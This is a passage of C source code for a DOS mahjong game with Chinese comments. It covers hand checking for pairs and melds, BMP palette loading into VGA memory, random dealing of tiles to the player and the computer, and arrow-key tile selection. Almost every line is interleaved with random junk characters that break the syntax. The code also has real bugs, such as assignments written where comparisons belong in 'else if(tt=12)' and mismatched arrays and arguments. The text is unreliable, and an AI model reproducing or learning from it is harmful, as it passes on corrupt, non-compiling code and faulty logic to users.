7 [4 v. F# P! n( jif(istwo(test))$ i% `9 n6 D* I9 D  C% ~
{ ill=0;1 O3 m3 G1 H$ o) T/ d
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
) `, z# A3 C( ~$ t: Q{if(kl==i)
, L+ e7 e) Q8 W{
1 W% R  G- a6 M( _4 Y# qkl=kl+2;
' X" w2 T5 W, u& r. ?+ ?5 \0 Yif(kl==8)9 T& {' f4 m0 y$ n1 H* d; H  ?- L
break;
/ ?3 Z0 z$ A6 @* h( L! O7 C}
3 }1 `3 @4 k2 W4 V8 Z8 Itest[ill++]=pt[kl];- i& }- ~6 E  C
}
- |1 D5 P* C- j* M! h! f* misthree(test,tt-2);
, L3 m2 d5 P! p5 M$ U3 E6 O" ]}1 X7 I% l* E2 o0 R- _  \
} : D% Z+ l/ Y% m0 x* {
else if(tt==9)* Z6 H8 Y; q8 \* B; Q% ?" D
isthree(pt,tt);
+ L7 i/ Z* a1 B% t0 Pelse if(tt==11)' o9 C/ g: L3 M  S# ]( _" i
for(i=0;i&lt;10;i++)
1 Y7 V" x, m1 |% L9 K; C, L1 f. h{* Y  l& D" N& {( x! Y
for(j=0;j&lt;2;j++)
  J9 t9 B0 v# w7 {" _- [4 n{test[j]=pt[i+j]; , I+ O" g2 c, S) Y8 N8 J
}
) C8 Z5 P* `# @: u' `! G" W; \# G! Kif(istwo(test))
# l) r5 `0 b! y; f. X{ ill=0;* I6 o9 E7 c- i
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/9 c' C6 k8 N( t/ ]
{if(kl==i)$ R: G& ?/ [9 p* z
{' n+ S. w3 n" H8 F3 ?/ S
kl=kl+2;
' G4 S. N9 o. }if(kl==11)
- m+ f. Z. ^- e8 @/ P  d8 m$ }break;
1 W2 V8 _4 T' C2 i- ~! q8 }}
4 X, \5 g- R7 Q: A  I4 h3 Dtest[ill++]=pt[kl];
+ ?0 c$ D' A8 }# g( e# y" N' S}
& A& ^1 q7 f( V* X% F. y5 U9 Z  Uisthree(test,tt-2);
' s$ _) Z0 u% S}% z* y6 ^! C2 ]
}5 Y. x* d5 L7 E/ D0 \
else if(tt=12)
0 w2 |- y0 T9 P$ e( \isthree(pt,tt);
' c) S7 a3 a1 g* |5 zelse if(tt=14)* t# N/ T$ {4 D: A+ d/ }0 L3 w+ ?8 I
for(i=0;i&lt;13;i++)
6 r- O/ ^2 ?. ]; I9 z{
& R& P7 X5 p2 Y+ F+ Jfor(j=0;j&lt;2;j++)
0 K  O3 M4 P4 Q/ \3 X2 L{test[j]=pt[i+j]; " Z; N  ~/ P# \0 e5 e. B( O
}7 j& g4 Y4 R& E3 |' l) d- _) |" v
if(istwo(test))) |' E1 h* e2 e, ~
{ ill=0;1 Y$ {' H; @  j! ~/ g
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
  X& {- ^: y9 Z6 [6 D/ ^{if(kl==i)* T1 A; {+ @# |& ~4 C
{- W- }1 N) H6 j4 t3 L6 L
kl=kl+2;8 K5 r+ T# h4 n! P" |' }, }) m
if(kl==14)
0 W7 e* u: F4 I! m4 v& Y" lbreak;/ b$ T' d: c& t: {7 ~
}
0 u4 U: U' z8 S0 m& D9 ]test[ill++]=pt[kl];5 c) B* J8 `& V) ~- U: j' ^4 E
}
% \" x+ y" j; d' V0 sisthree(test,tt-2);
- |. j" j. X7 L1 a- \' G7 V$ Z}
' H. T- `% I. K. b1 ?}1 Y  a, K, k0 R
if(ii==2). y' @* L$ q/ U4 }: b
istwo(pi);, Q2 u$ L% B! x( ?# g( `
else if(ii==3)
$ f: _+ n" j& M+ Cisthree(pi,ii);
1 q8 x. I8 e% h7 V" o* uelse if(ii==5)! ]9 h- m8 c; D: N$ G9 M. s3 ~. |& g. J
/*pi[5]原始牌数组,假设已经升序排列*/6 H3 X9 j) S; B9 r* \' A+ _
/*test[3]用来放置测试牌的数组*/* z" j: X, U2 F3 w. E, T! H
for(i=0;i&lt;4;i++)
) d. z7 I6 f6 ^9 N/ X( G{1 p" L5 N+ u$ U# A2 X) ~" |
for(j=0;j&lt;2;j++)& K& y2 T3 \" L) F
{test[j]=pi[i+j]; 5 b: p( X6 l* s" b! P) p
}
- g0 z, W' r9 {# l( Xif(istwo(test))) {1 v; c0 k! F4 y
{ ill=0;9 n" F" [2 F+ a- A: i
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/2 X; j2 T$ K' B9 C
{if(kl==i)
6 X# \. R: V) g{
& C( m9 A2 Y7 j7 i( p" T1 ]kl=kl+2;3 g  _% ?. S& x  X
if(kl==5)
! z4 r( Q9 t- t, Z7 a& lbreak;
4 t3 z4 w5 V7 E5 x8 ^}
( E4 y7 Z" n. ^( R1 x/ }6 ]/ Jtest[ill++]=pw[kl];- o- U5 s) ^& J6 G# A( D' V
}6 j8 T3 B! x( v7 i7 k' W1 {
isthree(test);
1 H5 q; J3 {4 M+ l; [}, Y5 E& S: _8 @7 J
}$ L  G$ A3 S' G
else if(ii==6); t3 [4 G2 h& e! x& }! Z
isthree(pi,ii);
, \" z0 l; d6 C: ]; k. b% R6 e- relse if(ii==8)
" S7 ]+ m  p+ K! Xfor(i=0;i&lt;7;i++)
% j" f4 b# d+ W) m' C{
% ~3 q' V9 N+ m" K$ Cfor(j=0;j&lt;2;j++). y$ @! i5 y2 t1 U
{test[j]=pi[i+j];
, g  D7 f1 f0 j$ v4 Q, j6 s2 L* @}
2 w  G* j' |2 ^- K4 ]if(istwo(test))1 p  e7 U  x* L8 C/ R' ^# u% N
{ ill=0;
  o& y2 [& _5 {  zfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
! q( `& ~. Z( a% E{if(kl==i)
! O6 o' W) H; T! i7 G{; t4 B+ k* ]. ^* M# v" [3 f
kl=kl+2;, ]& c9 s; \3 t/ B5 h
if(kl==8)
0 i/ X+ @" D; Y' S, l, xbreak;, b& ?& P1 r- H) S* e7 M
}
3 x7 w; r% T! otest[ill++]=pi[kl];  k4 h! }! M$ ]* p, y2 I6 g
}* c# {" }7 a9 z0 R8 c" Q
isthree(test,ii-2);
2 A; ^3 L8 K  z" W  {6 |; r" b}
+ T% [# r' q/ e} ( v) p& d; l  `: R. Y7 O
else if(ii==9)
9 c1 l1 X8 c3 [isthree(pi,ii);
3 a% p! o/ {% P0 Q7 C* C. F( N& Velse if(ii==11)# L) ]* S5 v& R. A7 Y9 L: O% H
for(i=0;i&lt;10;i++)
9 _* g3 X3 x7 B6 u8 r2 y{+ l4 T0 O1 T/ J# g) x3 D
for(j=0;j&lt;2;j++)7 n2 I1 N% Z. H; W) Z: P
{test[j]=pi[i+j]; 7 V/ ?/ b$ {8 H
}
3 w" k& m1 i4 V% v; rif(istwo(test))$ X4 h% n; Z$ {; s& {5 o& C4 R+ M, T
{ ill=0;
( ]- w0 e1 |4 {4 q- C! y, Y: `  s6 S4 \for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
$ p( _$ A" s5 y8 c3 _; m{if(kl==i)7 y5 @9 f. _9 D$ t
{* ^% Q4 p0 t( m! ]9 P
kl=kl+2;
$ \) f& p2 N3 W- gif(kl==11)/ T; L- m2 G8 ?1 a' d: s7 r
break;- J/ ~/ K( M, \8 l1 H
}
7 ^# \2 Y" J  J6 stest[ill++]=pi[kl];- L( M/ j8 I2 ]0 p7 [
}
* N  A$ F  i  pisthree(test,ii-2);
! g- Q7 z5 ]9 F}/ J+ o8 g+ M  a) Y, x( \% o, m
}
0 C* i8 t4 J) m" F" y& f6 n) welse if(ii=12)9 u6 N% w# W1 x& n2 R7 Y: u
isthree(pi,ii);5 k: D" h- o& N& y! D5 x
else if(ii=14)( O2 @" l5 ?: o+ E- z
for(i=0;i&lt;13;i++)
: p& P* h) n, M, p( b3 B' X' c, H{# |2 B& v, p" D, X
for(j=0;j&lt;2;j++)
9 |! _1 Q3 w" |* m; @7 o0 S{test[j]=pi[i+j];
& Q9 J0 c# ~, T( I7 G: Q}
: ^6 K# ~6 Q0 q$ ]" Z# e6 G8 s% Pif(istwo(test))
5 o+ \: _( L! }! ?, a+ T' a( l5 g{ ill=0;$ i7 |- ]  k: H& a- K, c3 Z
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
, w  u& B3 e( h3 w9 k- y+ T{if(kl==i)
4 Z  s1 j! N% X: w. ]; ^/ `{
" l$ @- v8 f# @8 W$ g$ zkl=kl+2;
* Q& |* Y) Y( x% z3 v# y3 u: E' L; Rif(kl==14)* E8 p7 \/ N1 {# [! y  _( B
break;
; q, ?7 ^: \5 g4 I: E}
$ h! I% c  z7 g. o( R# ^0 o+ qtest[ill++]=pi[kl];0 J; C7 N6 J* m; J- k
}" e* o2 n& D+ K+ A- u* b
isthree(test,ii-2);
- Y; i6 M* H# q( q# r}7 x4 v# _5 g% K+ o  a8 z# k
} * O  l# ~0 N/ k+ [5 L3 I& j( o( _
if(ff==2)
+ O2 n; B! l6 b+ i" o0 Histwo(pf);) V3 D& h( r# f
else if(ff==3)7 N! e1 I  N6 u. I$ L0 O* ]
isthree(pf,ff);
/ d- ~% S$ {+ [- g5 H$ ^" |else if(ff==5)
4 Q/ g! ^, J; g6 z% |) r' {/*pf[5]原始牌数组,假设已经升序排列*/, T& X, {! d% R0 g4 `1 g
/*test[3]用来放置测试牌的数组*/
* {6 S& d1 y( I& {1 |  Y) dfor(i=0;i&lt;4;i++)
* |) m# W5 [; d; C2 g# U7 b{
7 j! r7 h5 n& F( X( g, q; Dfor(j=0;j&lt;2;j++)& n% p$ d5 X+ P& A; q
{test[j]=pf[i+j];
2 U" q0 c& k  Y$ ^1 D8 J}3 w6 n/ x/ T5 M. d8 H
if(istwo(test))
7 P0 O8 a% F3 _# ~# J0 E{ ill=0;
" ]# N/ R3 x6 K+ x$ s  ofor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
/ J) R' d  N  e+ D4 o2 N( ~{if(kl==i)
& p+ D/ g& H* c; X9 b1 o8 H{
% {0 D# f3 C0 o2 |% d6 qkl=kl+2;
" @2 h' {' J( w$ zif(kl==5)
! [# O" n/ B+ C% U" abreak;& h6 d! G. x- ^7 J/ V
}! Q7 R% t5 q( v1 Q$ P! d
test[ill++]=pf[kl];7 N/ e3 G) n% o5 D9 @! ^2 Y
}
- Z8 r- u9 S+ E$ Z5 y! Uisthree(test);$ k1 D; c. O. g8 i
}
$ g0 k/ x9 f3 C" P- @+ }. N}' P  u% Y/ r; L
else if(ff==6)$ j* y$ G2 V6 u: z$ k
isthree(pf,ff);
* d' r) T( e4 k' a3 ^else if(ff==8)
& |! o- J( V  ^for(i=0;i&lt;7;i++)* h, j; e' }7 B$ w
{( O% \& r1 C- J  [5 h
for(j=0;j&lt;2;j++)
1 L7 F& Z" Y# ^! g& C8 z: t{test[j]=pf[i+j]; 5 H" s. p6 P* A- w$ E2 i4 M
}
2 X8 S7 n+ X& Q! u5 P3 I: i8 vif(istwo(test))
) a% p6 c/ D6 ~9 x2 N{ ill=0;1 F! n$ l2 x6 W0 Y
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
/ ~6 \# H) {6 q0 A: z0 O" H; R{if(kl==i): Y- s, T* K- P- g; J  S
{) E1 P) D" I4 A3 y) w9 ?
kl=kl+2;' K6 Q' o8 x# a$ x) o. T' _- S1 M& K4 T
if(kl==8)" g; t) A8 L3 b, f# D
break;. \& W. g$ `" r8 ?4 c  ]; [
}, b6 i, ?" Y! y- W* k5 ?) i
test[ill++]=pf[kl];
; e( Q+ y; e$ L}/ Q% V, v% W/ L
isthree(test,ff-2); ' X! s% n  m: w, Y. ~
}/ o+ N0 l; b% A2 B3 R. e* y$ |
}
) ^, w- W0 B$ f3 c$ u: y: s# l$ c: O3 telse if(ff==9)
( r% Y% z% _. k' S3 u* n7 G( ^" Kisthree(pw,ww);2 g) Y! l- G$ l1 S. X3 \" |
else if(ff==11)
5 \4 m9 G/ y0 g/ `for(i=0;i&lt;10;i++)
0 C: d+ H9 N9 x! m  `" H{5 v: I& ~2 m" Y
for(j=0;j&lt;2;j++); s8 D2 P, S6 t9 Z
{test[j]=pf[i+j]; 0 h# M; A0 Z$ M0 i$ f+ Q, Y
}' M4 Z. _) Z: X9 d# c( o2 d1 E# L
if(istwo(test))! z- r1 ~) `: u! a& N
{ ill=0;
9 U1 `+ d5 l/ W; G- ifor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
# B5 ?6 T  h. O7 L+ E{if(kl==i): I7 Z6 u# a* G: U
{" N0 r' A4 ]( a! u5 \) ?
kl=kl+2;6 C% B) B, d( u- n0 p! a- R4 ]
if(kl==11). e5 V+ S9 c3 g. a* Y2 U  ^
break;
4 o1 y& \% F- }1 A) \* e}1 s. ?2 Q+ `, G4 Z; R% S, q; i) `
test[ill++]=pf[kl];
. T9 M2 u! e5 D9 O# P}. j/ W# }: A7 g  d6 v
isthree(test,ff-2); 1 |! ?$ b1 _$ O! u2 d
}
9 z1 z9 e- g8 R* ~- s- F2 o}
. g( V% ^/ G9 `% ]5 pelse if(ff=12)3 Z2 P% O  v. I$ ?, v4 }
isthree(pf,ff);7 X' K8 O+ v1 e: ^! V, b9 s3 I6 }
else if(ff=14)
  J) T" h5 Y) V: j; N/ Afor(i=0;i&lt;13;i++)
% p# b, Y2 P( v5 G5 Y{
( J0 P+ r* u+ d  \( o% ]2 Sfor(j=0;j&lt;2;j++)! ?) p" t) f) x$ n" ?4 N
{test[j]=pf[i+j];
! n4 s: a) C- y. A% R/ l# b7 I6 ^}
+ _, `7 Y7 l/ V: q) K( k+ |1 T' Gif(istwo(test))
: i. V2 l/ i! u{ ill=0;
9 P1 `3 t# U4 ^3 P7 Xfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/& @3 I$ O, l4 w/ @
{if(kl==i)
* p2 {' ^' I4 d! o! x" [{
1 L9 i6 ^* V% n3 [1 akl=kl+2;
8 |6 k" \) w0 S: q1 Y0 k$ w0 X& K" Y; hif(kl==14)
: f- T: V% C5 k/ s7 s( K3 pbreak;
0 c% g: x" x: \2 y* ?' _}
7 _+ s0 ~( N9 V! G* Dtest[ill++]=pf[kl];
- y8 L% S7 l+ e! S! c, p/ j}
1 x- B2 l6 M4 [  qisthree(test,ff-2);6 q0 k' _! J" k! J
}
! |: ~$ N* a: I. q: d; P4 q$ f} 4 B8 s0 [% r/ W" f0 f
}
! Q$ j/ |7 H) d/ ^' q) rvoid main(void)* n/ p; U  @6 D9 W7 K' h/ x
{9 y$ I9 i6 ^0 |  }9 d, |1 e
FILE *bmp;5 {$ q, X  c. i& U. I  _2 |
static char *name[2]={"ff.bmp","logo.bmp"};
% I9 j5 T( Y; g2 ]7 Ychar *p;
  k" J2 o5 ]! A( y' B4 h8 B# Wint *lingshi;, [; W% V, e$ N% [$ Q
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
3 e, n6 d# P* w# ]# hint every=0,w=0,x1,x2,y1,y2,every1=0;1 R/ b: Q, h7 ?' z
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
; h8 N  d7 ?4 c3 Q, o% {BYTE palette[256][3];+ y4 F# W3 O, _4 r( [
SETVGA;3 e9 [$ D: j9 e7 p) X( i! j
getch();
& ~5 a  t% q  H. g4 z. `while(t--)( S( w$ M/ h- M' d
{7 c$ ]6 g" d  U* p
bmp=fopen(name[t],"rb");' ~- d9 k2 N& i0 {, c
fseek(bmp,54,SEEK_SET);
6 f9 i9 u# V: a0 j, @5 zfor(i=0;i&lt;256;i++)7 o: c' @1 {& u  j( D: u* t
{
# X/ x# `1 s/ Cpalette[2]=fgetc(bmp)&gt;&gt;2;1 ]8 ]6 W/ R! }7 \) V) m9 ^
palette[1]=fgetc(bmp)&gt;&gt;2;$ ^5 P( M% a1 L! o
palette[0]=fgetc(bmp)&gt;&gt;2;
" x3 k" V  v8 q6 w& zfgetc(bmp);2 b" D2 H4 V8 Y- w/ m3 u
Set_Palette(i,palette[0],palette[1],palette[2]);1 n0 k0 z. C* e+ I  }
}
- l! s8 p9 h; u; C' `% O7 Zfor (y=0;y&lt;200;y++)
6 s% M  @# m- e4 i/ K# g2 bfor(x=0;x&lt;320;x++): L! L2 K; ^1 G! y8 l  M
pokeb(0xa000,y*320+x,fgetc(bmp));
/ J9 q; P3 k2 `. }( @; gfclose(bmp);
. z# q, o6 T% V7 xgetch();& a* @' u: i8 r9 L, `8 U* d) t6 V
}
0 Y1 V3 U9 W# W5 ]6 E/ O1 q. y9 Ggetch();
% g2 R& O0 c! Q+ ~) N$ M* N' nfillRectangle(0,0,320,200,0);, j, ^5 `& F/ q- i& r7 i
getch();7 z5 p) t$ t; m) g  Z6 C) t5 u. a' ^4 G
randomize();
! P% N6 E- r$ `me.m=onetothirteen;
0 J( n0 s5 F" d7 a, r$ xwhile(me.m&gt;0) /*先循环,给自己拿牌*/8 X3 R8 L5 C# g/ f7 R
{4 U- c' Q- q0 r# G3 @

! b7 p% q, A* p; f% ztemp=random(136);, j. {2 G  x( O! S2 _& I& {
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
, _- r% I% H! \1 B* e  l7 U% K{
+ v' G' I3 N( U" |# ~1 `me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/0 {. s, I4 R& s6 L, Y3 ?; G0 v/ v
me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
1 G# x1 I& e/ G, c6 \, |( vme.pp[n].number=temp; /*第几张,用来排序*/
# n, d, ^- S0 g3 ^m[temp].data2=1; /*判断牌是谁的*/
. M# b! g9 K& g2 n$ t! d9 F& g8 dkk=1;/ r' g9 M% k  G6 `$ Y
}; n" _7 s6 j4 M1 `& i( s2 {
if(kk==0) /*判断如果又选择了,就从新再选*/8 ^+ e: ]. ~$ D# T& ^
{ - @" I. A# c. S) Y/ b+ I
me.m++;4 T6 Z, ^. u  r0 T7 N* Y
n--;
/ a- U, k. x& u# r! u}3 [' w" L) q; K
me.m--;7 |5 e) ?/ P/ k; o
n++;9 x! ~$ s1 Q! ^  o) h% J
kk=0;
: D. f: _- q; g}7 g, Z5 d- f6 u* o
me.m=12;" E/ }/ B" f- r- ]& X% P' e6 h2 l
melipai(); /*理牌*/3 _3 D; w, S, U- K; |, \; Y

6 [3 U  m8 l+ ~n=13;( z% z- [  J& K- V6 O& b
while(l&lt;n)
3 u! I; q; s& \* u) I8 B1 Z{
/ j' e/ M7 `2 B! P$ e% s5 fz=z+20;, p* b- m3 m3 I2 d3 p/ s6 Q
showbmp(l);+ x8 H9 e2 u* C& W: w
l++;' w( X: {- F, |6 b( i- u! {, C- _
8 V! [2 E5 _  R: e1 q# H: Y. u
}
6 Z. z9 F" k0 L' b. _. }randomize();4 N- m: a. y. R& y- U$ c, ?- a
computer.m=oneorthirteen;
9 g; u2 x2 \6 p4 w/ E& K) p& r  zn=0;8 P8 ^. w" p  Z% v; l! K8 b8 `5 s
while(computer.m&gt;0) /*循环,给对方拿牌*/9 M1 L9 Y0 O8 l4 ^+ X
{
& m% h: J4 {$ `temp=random(136);0 _: _# X3 H0 I3 d7 j+ l
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
, {9 K& _4 H+ v1 s2 L  T8 ^/ [{4 Q9 G9 d5 T8 {. l0 M$ o
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
) G! b$ g4 t( }3 `0 j. W1 Fcomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/1 ]5 ?$ B! J' n( m: U2 j
computer.pp[n].number=temp; /*第几张,用来排序*/
. Z0 B3 ?7 Q7 d/ fm[temp].data2=2; /*判断牌是谁的,2为电脑*/
3 |. B* d# K3 m! y( ~5 Fkk=1;
; i5 z% p0 K0 X" s}
7 Q! ?8 P0 Y5 H8 u$ S0 q6 Tif(kk==0) /*判断如果又选择了,就从新再选*/
4 K: K% E( j2 q3 z( }# t5 d{
7 A# w$ N) A# E1 j1 b1 ocomputer.m++;5 C! b- q8 P# C6 O8 M5 {
n--;
# a, v7 m( I( X7 E0 J0 Q$ m9 k" Y8 n}
2 X% T+ X% n& O3 Ucomputer.m--;" `5 q2 `$ p* v  g6 q+ z5 D# A
n++;+ a! m1 C+ b$ A) h9 u
kk=0;
$ [5 I  L& B7 X/ e) b0 g( d}% b. t) m9 A% P  I# @6 r6 s, P
computer.m=12;
& D4 x' z1 C" _8 Mcomlipai(); /*电脑理牌*/% M+ w) I4 L* M* a/ e
n=13;* X+ x  |$ i$ b4 [4 m' u+ M
while(ll&lt;n)& d. O: e& |" q3 g
{1 z4 R. T* Q% W, s6 m* J% b
zy=zy+20;5 `( L+ R6 O- `, I% L; d
showybmp(ll);* N( x4 |9 d+ f3 L
ll++;' E1 J( Z; W2 b
}/ w. e. h0 [; J7 [

" w9 _: N, I0 P; x/ iz=54400;
8 W% J, W& r" Hwhile(key!=ESC)
! L3 n* n4 c$ Z: U7 I( }3 X9 w{ / ?- ~( L& u* }

- D/ o- S8 I  h9 X' {- k6 s: Vkeyy=bioskey(0);6 Y2 i0 f' P  S% v2 c# i
if(keyy==LEFT)
8 y6 I( E9 r3 \8 h{ w=1;% V( {( C* m* j
if(every==0)* U- g2 a% _8 e3 |! s8 U
{  f2 x, B- [2 j2 C
every=1;7 R4 b4 H" U1 d, s+ ]8 R0 L# I" B0 A
z=54440-5*320;9 o, ]- O( l- T; d1 x+ T4 f7 A
" K. r" U9 m0 B$ w6 g* V! w/ r: C
}
. O( z, [' I8 w% u# xzz=zz+5*320;
) K0 x* ^9 t( T# `1 hshowbmp(every);
" ~6 Q" ?7 H9 Z7 R0 Z6 qif(every==0)
9 J: V  b0 k9 W: h6 U# X6 V  r/ G{7 d4 h/ g( U, M+ p) d. l
x1=20;, C7 _. Z5 J, ]# b
y1=165;; W2 q+ v+ }' M. f; }
fillRectangle(x1,y1,x1+20,y1+4,0);
7 A, T5 w+ Q0 e5 ]( q}9 E  j* P, R. y3 G: j
if(every==1)5 S( u$ P: S. Q) n! J
{! y8 h3 c& ?: X& B& P% w
x1=40;
9 _! [0 F3 j7 P6 M) y+ G; ly1=165;6 E( F' m6 b! o) a! z: _) r8 Y
fillRectangle(x1,y1,x1+20,y1+4,0);& l& J5 h( Y8 |: |, f
}
5 U4 q8 Q5 k  c& p' e( I, g+ Wif(every==2)
$ Y9 X; y7 p0 z' G( z{
% D1 E$ G2 }5 Xx1=60;
. L1 w" i. A$ U1 g  ^y1=165;! N$ o/ f+ g) h( ~2 {, C+ {
fillRectangle(x1,y1,x1+20,y1+4,0);
7 c& z$ |; T" z}" \1 }2 l$ l9 Q3 |- v& }; M* q
if(every==3)9 T) A0 c! C4 F+ W" [: n  W$ [
{
% F9 T; C" l. Y, Xx1=80;2 Q) q/ L9 C' f2 G' J7 ?
y1=165;, R  a* i, T3 V9 m! {
fillRectangle(x1,y1,x1+20,y1+4,0);
5 E! ^# u9 _4 Y& x/ z" R}9 H- M" ?/ B& r6 n- T+ M
if(every==4)
* Y$ u# w3 _' X{( @  g+ _2 `) W) c  U7 D! `
x1=100;/ Y% {! p$ q; p1 I% q
y1=165;( [8 t3 M! g- S" c* j. `
fillRectangle(x1,y1,x1+20,y1+4,0);8 k6 h0 i; t' Y8 Q- W
}
" ?4 _2 \4 E' B) Gif(every==5)
6 V. H+ b% }; W$ t{
' @0 r% ~' D+ u& H, \/ @1 Y0 k4 Z0 qx1=120;. |* G' ]; J  ~& H  z6 b
y1=165;
5 Z, ?3 W9 N: D  l2 ]- n) @# gfillRectangle(x1,y1,x1+20,y1+4,0);0 @6 ?( C: v) k. X6 s, E* {
}% F9 T2 O' z. k; {4 B/ I. \
if(every==6)
" d; U2 T0 C: K& R{2 N. X$ o. Z% \( v5 m& G- E* L
x1=140;
# O3 k! X. X8 c$ l) q( ^y1=165;
' v% \$ u5 y' ?0 K( vfillRectangle(x1,y1,x1+20,y1+4,0);
6 {) o+ I3 E  |9 z, p% H}
, e5 z8 N* r$ p$ k0 m$ G1 ]if(every==7)
+ y% m5 Z; i3 U& N! d' v0 x$ p& m{
; _, G% a$ K% Yx1=160;
# L+ B- M+ a5 P+ J4 J2 R3 Ky1=165;
# M+ e, m" Z7 |( B: d3 m0 }" _fillRectangle(x1,y1,x1+20,y1+4,0);5 O+ K3 {+ s" {  a$ C6 A
}. @" L# t1 ^5 F/ W& c; ?* Z
if(every==8)
; O( F& E: p# c0 }0 p/ B6 m{4 ]; R/ ~0 y) B) o
x1=180;  O7 d* j& U2 A5 _# Y# t3 g& Z) K
y1=165;+ q& m  o1 R8 R
fillRectangle(x1,y1,x1+20,y1+4,0);
, F7 B: p+ t2 b7 j1 ]& ]. {- [7 B}
. Y, Q/ _( b7 c) {9 \; ~; aif(every==9)  ]. z' Q4 n& m9 E1 R( a8 M
{! X, b4 k2 m$ V
x1=200;
/ T: _9 {6 r- gy1=165;
. w; \! M3 g" s) ]fillRectangle(x1,y1,x1+20,y1+4,0);  j! T! P- T  C2 ~" R
}
9 V4 v2 I8 G* s: U) x5 }- j  w( J' tif(every==10)
* b% F; ^4 F1 u% O- X, E{
0 Z& M0 S. Y, T. n7 ~9 W9 Ix1=220;' b7 k/ ]0 o5 p& i% Z( o: I/ h
y1=165;' b. `" e  u) v* W
fillRectangle(x1,y1,x1+20,y1+4,0);
, N9 Y/ d  E* K- D+ `}5 q  J( s  x4 f( N: i' @2 w
if(every==11)
/ F& K5 Z; K" C0 A3 Z{+ \$ j+ `9 q' `
x1=240;! y: C1 C: ]7 U; U# K
y1=165;9 t2 T6 J: W1 e5 @% B+ \
fillRectangle(x1,y1,x1+20,y1+4,0);
( O( b+ ?; h& ^}
# ?+ _% a! A7 O( m0 D0 S* i% d# pif(every==12)+ Y) ^- w- M/ {1 I+ j  g
{3 W7 r9 U: c+ ~7 r
x1=260;( W! P1 Y6 {5 g) B8 i3 g# _
y1=165;  z. T: I1 O  P
fillRectangle(x1,y1,x1+20,y1+4,0);5 t0 i+ G" d& c% G& _5 c! z" o2 g* T
}3 S& L4 u) D# i9 ?
zz=0;
) p3 ?) ]8 o0 ^every--;4 _+ {7 ^) F3 \. C* c: n
z=z-20;
! M; ^8 c% W+ m$ ^2 c" j, T}6 K- P( x: E- q4 ?
if(keyy==RIGHT)
* m3 o' e" [2 q+ {2 V3 {{ if(w==0)  E2 y2 K# g8 N( `
{* [: b" O5 ~  L9 c! g( k" K* }
z=54440-5*320;
. f; @+ G/ C/ {' `% {$ c1 x( k, Uz=z-20;. U" ~2 c; H+ _
w=1;$ V! g& j( }+ i& [6 m! L
}
, F& J! J7 n) n' Q9 Y, Lif(every==12) 5 @* J; [, {. V
{
6 F% ~- T4 v3 aevery=11;
% P/ z- h3 [: W' F4 q/ Fz=54640-5*320;
  {4 u5 G8 n0 P3 T5 X. |% J' e/ D8 ~}
6 G8 Z9 k" e0 c3 Tzz=zz+5*320;2 F8 D, ]6 t! h- U4 E2 n& J+ [5 e
showbmp(every);7 F" M2 V) l# P
if(every==0)  _7 P$ z+ q0 g$ [- ~' q" O
{
; }# t% ?1 }. F3 Yx1=20;
. q. X8 R+ N9 M# j1 jy1=165;; E+ l, }6 j) ~5 c9 F% z" [
fillRectangle(x1,y1,x1+20,y1+4,0);0 t1 `$ w8 X) v$ j
}
' k# j& U; J" f+ z/ nif(every==1)
7 n8 ^% p" O7 c# Y! Q4 ~{
5 g2 j* ~4 X0 Y, d0 Lx1=40;
* @0 `9 s) u0 R' A$ H3 I7 G* qy1=165;5 M' Q* m% X- Z( J( M
fillRectangle(x1,y1,x1+20,y1+4,0);
! |' F) b: b9 I( K! r7 i' S}
0 h- z; Q0 L* A" E( z1 w9 Jif(every==2)
% H6 m8 Z( @3 r2 }# z) e8 Z4 B{( B! Z3 o+ M6 c: G
x1=60;+ q0 [1 L$ g4 O- a
y1=165;
8 u$ t+ \( |2 E8 J( d4 ^fillRectangle(x1,y1,x1+20,y1+4,0);
1 _" q) f, x7 e, T9 |}% |- z8 M% P. d! S- o4 D
if(every==3)8 G) E9 x$ o9 W& W% S  @
{6 N* i+ T- p2 P3 m' p) ^/ p
x1=80;
: z( m1 z9 U# n2 u( i( ry1=165;( S1 ~- ~8 d6 P7 D
fillRectangle(x1,y1,x1+20,y1+4,0);8 U7 U6 Z6 T! T" G
}
) F/ `$ y5 J3 O+ Lif(every==4)8 \; X# L; q2 t2 U" m/ n
{
/ p% J+ B4 _/ `+ d6 I/ {9 j4 z" kx1=100;' g; s+ O6 E1 T2 U- g  O+ R9 A
y1=165;, d0 l& s4 M# H
fillRectangle(x1,y1,x1+20,y1+4,0);
5 M2 U. I9 @3 ?& P9 l5 e. h! Z}
0 f% N- v8 i4 _) X8 o, S/ H% P: qif(every==5)
) S8 i: ^% W% z{" }) |- R- h4 s+ i) F
x1=120;, }  B  e8 l$ z
y1=165;
+ K" n9 d/ o! t+ [% rfillRectangle(x1,y1,x1+20,y1+4,0);
% I: V8 u5 A- Y0 F" e& o}
0 K. b3 Z6 [- s  v( J% Z8 d+ sif(every==6)  l% d+ j  f0 ^. w( [5 p& U
{, H: F: X$ u4 I8 v6 u; d( D9 Q! s
x1=140;  r% k& z3 S8 R, C- z7 }
y1=165;
3 ]( b1 G' P  a1 DfillRectangle(x1,y1,x1+20,y1+4,0);( B, a0 ~& B3 o" ^
}% _. I/ S! j; T/ S: R4 i; m% S
if(every==7)
/ J' {( Y/ E# t1 ~; C$ U{" K) ]) l  b( z+ a3 K
